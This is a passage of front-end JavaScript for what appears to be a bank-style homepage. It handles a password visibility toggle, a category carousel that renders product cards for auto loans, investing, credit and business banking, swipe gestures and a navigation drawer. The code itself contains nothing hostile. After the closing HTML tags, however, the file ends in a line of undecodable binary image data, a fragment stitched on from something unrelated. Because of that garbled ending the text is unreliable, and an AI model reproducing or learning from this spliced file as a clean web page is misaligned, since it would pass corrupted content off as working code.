const cta = document.querySelector('.cta.pulse');
if(!cta) return;
function updatePulse(){
if(window.matchMedia('(min-width: 900px)').matches) cta.classList.add('pulse');
else cta.classList.remove('pulse');
}
updatePulse();
window.addEventListener('resize', updatePulse);
})();
// Toggle password visibility
const togglePassword = document.getElementById('togglePassword');
const passwordInput = document.getElementById('password');
togglePassword && togglePassword.addEventListener('click', () => {
const hidden = passwordInput.type === 'password';
passwordInput.type = hidden ? 'text' : 'password';
togglePassword.textContent = hidden ? 'Hide' : 'Show';
togglePassword.setAttribute('aria-pressed', hidden ? 'true' : 'false');
});
// Category carousel logic
const categoryTrack = document.getElementById('categoryTrack');
const categorySlides = categoryTrack.querySelectorAll('.category-slide');
const totalCategorySlides = categorySlides.length;
const categoryDotsContainer = document.getElementById('categoryDots');
const categoryPrevBtn = document.getElementById('categoryPrev');
const categoryNextBtn = document.getElementById('categoryNext');
const productsSection = document.getElementById('productsSection');
// Data for categories -> products
const categoryProducts = {
auto: [
{ title: 'Auto Financing', heading: 'Get pre-qualified for auto financing', description: 'See what you could be approved for with no impact to your credit score.', button: 'Get started' },
{ title: 'Auto Insurance', heading: 'Protect your vehicle', description: 'Comprehensive coverage at competitive rates.', button: 'Get a quote' },
{ title: 'Auto Refinancing', heading: 'Lower your monthly payment', description: 'Refinance and potentially save over the life of your loan.', button: 'Learn more' }
],
investments: [
{ title: 'Investing', heading: 'Start investing with confidence', description: 'Access advice and tools to grow your wealth.', button: 'Get started' },
{ title: 'Retirement', heading: 'Plan for your future', description: 'Personalized retirement strategies.', button: 'Explore options' },
{ title: 'Wealth Management', heading: 'Grow and protect your wealth', description: 'Work with dedicated advisors.', button: 'Contact us' }
],
commercial: [
{ title: 'Business Checking', heading: 'Banking built for business', description: 'Manage finances with powerful tools.', button: 'Open account' },
{ title: 'Commercial Lending', heading: 'Fuel your business growth', description: 'Flexible financing to expand operations.', button: 'Apply now' },
{ title: 'Merchant Services', heading: 'Accept payments with ease', description: 'Secure payment processing solutions.', button: 'Learn more' }
],
meeting: [
{ title: 'Financial Advisor', heading: 'Meet an advisor', description: 'Schedule a consultation to create a plan.', button: 'Book appointment' },
{ title: 'Home Lending Specialist', heading: 'Talk to a mortgage expert', description: 'Guidance for buying or refinancing.', button: 'Schedule call' },
{ title: 'Business Banking', heading: 'Discuss business solutions', description: 'Tailored solutions for your company.', button: 'Request meeting' }
],
credit: [
{ title: 'Credit Journey', heading: 'Get your free credit score', description: 'Access score anytime for free.', button: 'See credit score' },
{ title: 'Credit Monitoring', heading: 'Monitor your credit', description: 'Track changes and receive alerts.', button: 'Start monitoring' },
{ title: 'Credit Education', heading: 'Learn to improve credit', description: 'Resources to understand and improve credit.', button: 'Learn more' }
],
business: [
{ title: 'Business Checking', heading: 'Open a business checking account', description: 'Tools to manage business finances.', button: 'Open account' },
{ title: 'Business Credit Cards', heading: 'Earn rewards on expenses', description: 'Cards with rewards and benefits.', button: 'Compare cards' },
{ title: 'Business Loans', heading: 'Finance your business goals', description: 'Access capital for expansion.', button: 'Apply now' }
]
};
// Create dots
for (let i = 0; i < totalCategorySlides; i++) {
const dot = document.createElement('button');
dot.className = 'dot';
dot.setAttribute('aria-label', 'Go to category page ' + (i+1));
if (i === 0) dot.classList.add('active');
dot.addEventListener('click', () => goToCategorySlide(i));
categoryDotsContainer.appendChild(dot);
}
const categoryDots = categoryDotsContainer.querySelectorAll('.dot');
let currentCategorySlide = 0;
function updateCategoryCarousel() {
categoryTrack.style.transform = `translateX(-${currentCategorySlide * 100}%)`;
categoryDots.forEach((dot, idx)=> dot.classList.toggle('active', idx === currentCategorySlide));
}
function goToCategorySlide(index) {
currentCategorySlide = (index + totalCategorySlides) % totalCategorySlides;
updateCategoryCarousel();
}
categoryPrevBtn && categoryPrevBtn.addEventListener('click', ()=> { goToCategorySlide(currentCategorySlide - 1); });
categoryNextBtn && categoryNextBtn.addEventListener('click', ()=> { goToCategorySlide(currentCategorySlide + 1); });
// Category selection -> update products
const categoryItems = document.querySelectorAll('.category-item');
categoryItems.forEach(item=>{
item.addEventListener('click', () => {
categoryItems.forEach(c=> c.classList.remove('active'));
item.classList.add('active');
const category = item.dataset.category;
if (category) renderProductsFor(category);
});
item.addEventListener('keydown', (e)=>{
if (e.key === 'Enter' || e.key === ' ') { e.preventDefault(); item.click(); }
});
});
function renderProductsFor(category) {
const products = categoryProducts[category];
if (!products) return;
productsSection.style.opacity = '0';
productsSection.style.transform = 'translateY(12px)';
setTimeout(() => {
productsSection.innerHTML = '';
products.forEach(p=>{
const card = document.createElement('div');
card.className = 'card';
card.innerHTML = `
<div class="card-header"><div class="card-title">${p.title}</div></div>
<div class="card-body">
<div class="card-heading">${p.heading}</div>
<div class="card-description">${p.description}</div>
<button class="card-button">${p.button}</button>
</div>`;
productsSection.appendChild(card);
});
setTimeout(()=> { productsSection.style.opacity = '1'; productsSection.style.transform = 'translateY(0)'; }, 50);
}, 220);
}
// Add transition style
productsSection.style.transition = 'opacity 0.28s ease, transform 0.28s ease';
updateCategoryCarousel();
// Swipe support for mobile carousel
let touchStartX = 0;
let touchEndX = 0;
categoryTrack.addEventListener('touchstart', e => touchStartX = e.changedTouches[0].screenX);
categoryTrack.addEventListener('touchend', e => {
touchEndX = e.changedTouches[0].screenX;
const diff = touchStartX - touchEndX;
if (diff > 40) categoryNextBtn && categoryNextBtn.click();
if (diff < -40) categoryPrevBtn && categoryPrevBtn.click();
});
// Accessibility: close drawer on outside click
document.addEventListener('click', (e)=> {
if (drawer.classList.contains('show') && !drawer.contains(e.target) && !hamb.contains(e.target)) closeDrawer();
});
// Dev convenience: open drawer with "m" on small screens
document.addEventListener('keydown', (e)=> {
if (e.key === 'm' && window.innerWidth < 900) {
drawer.classList.contains('show') ? closeDrawer() : openDrawer();
}
});
// Optional: learn more button action (example)
document.getElementById('learnMore')?.addEventListener('click', ()=> {
document.getElementById('knowledge')?.scrollIntoView({ behavior: 'smooth' });
});
});
</script>
</body>
</html>
b IDATxytVսϓ22 A@IR:hCiZ[v*E:WũZA ^dQeQ @ !jZ'>gsV仿$|?g)&x-E